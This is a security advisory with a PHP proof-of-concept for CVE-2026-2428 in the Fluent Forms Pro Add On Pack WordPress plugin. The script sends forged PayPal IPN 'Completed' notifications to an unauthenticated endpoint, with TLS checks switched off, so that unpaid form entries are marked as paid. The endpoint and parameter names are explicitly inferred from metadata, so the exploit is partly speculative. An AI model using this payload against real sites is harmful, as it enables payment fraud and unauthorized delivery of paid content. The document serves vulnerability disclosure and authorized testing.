Atomic Edge analysis of CVE-2026-2428 (metadata-based):
The vulnerability stems from insufficient verification of PayPal IPN data authenticity in the Fluent Forms Pro Add On Pack plugin. The plugin’s PayPal integration includes an IPN (Instant Payment Notification) endpoint that processes payment status updates. According to the CVE description, the `disable_ipn_verification` setting defaults to ‘yes’ in `PayPalSettings.php`. This configuration bypasses PayPal’s recommended IPN signature verification, which confirms notifications originate from PayPal’s servers.
Attackers can send forged POST requests to the plugin’s IPN endpoint. The endpoint is publicly accessible and requires no authentication. The payload mimics legitimate PayPal IPN data, including transaction IDs, payment status (‘Completed’), and amounts matching existing form submissions. When the plugin processes these forged notifications, it updates corresponding form entry payment statuses from ‘unpaid’ to ‘paid’.
This triggers all post-payment automation workflows configured within Fluent Forms. Impact includes unauthorized email notifications, access grants to protected content, and digital product deliveries. The CVSS:3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) confirms network accessibility, low attack complexity, no privileges required, no user interaction, and high integrity impact.
Atomic Edge research infers the vulnerable endpoint follows WordPress plugin patterns. Likely implementations include a dedicated IPN listener file (`paypal_ipn.php`) or a WordPress AJAX action (`fluentformpro_ipn_handler`) registered via `admin-ajax.php`. The fix in version 6.1.18 presumably enables IPN verification by default or removes the disabling option, ensuring the plugin validates PayPal signatures before processing notifications.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2428 - Fluent Forms Pro Add On Pack <= 6.1.17 - Missing Authorization to Unauthenticated Payment Status modification
<?php
$target_url = 'https://example.com/wp-content/plugins/fluentformpro/paypal_ipn.php';
// Alternative endpoint may be: $target_url = 'https://example.com/wp-admin/admin-ajax.php';
// Simulate a forged PayPal IPN notification
$post_data = [
'payment_status' => 'Completed',
'txn_id' => 'fake_txn_' . bin2hex(random_bytes(8)),
'receiver_email' => 'site_merchant@example.com',
'mc_gross' => '49.99',
'mc_currency' => 'USD',
'custom' => 'submission_id=123', // Assumes plugin stores submission ID in 'custom' field
'item_number' => 'form_entry_456', // Alternative parameter for form entry reference
'business' => 'site_merchant@example.com',
'payer_email' => 'attacker@example.com',
'first_name' => 'Test',
'last_name' => 'User',
'residence_country' => 'US',
'ipn_track_id' => bin2hex(random_bytes(16))
];
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'User-Agent: PayPal IPN (Fake)',
'Content-Type: application/x-www-form-urlencoded'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Code: $http_coden";
echo "Response: $responsen";
// A successful exploit typically returns 'VERIFIED' or 'OK' from the IPN endpoint
?>
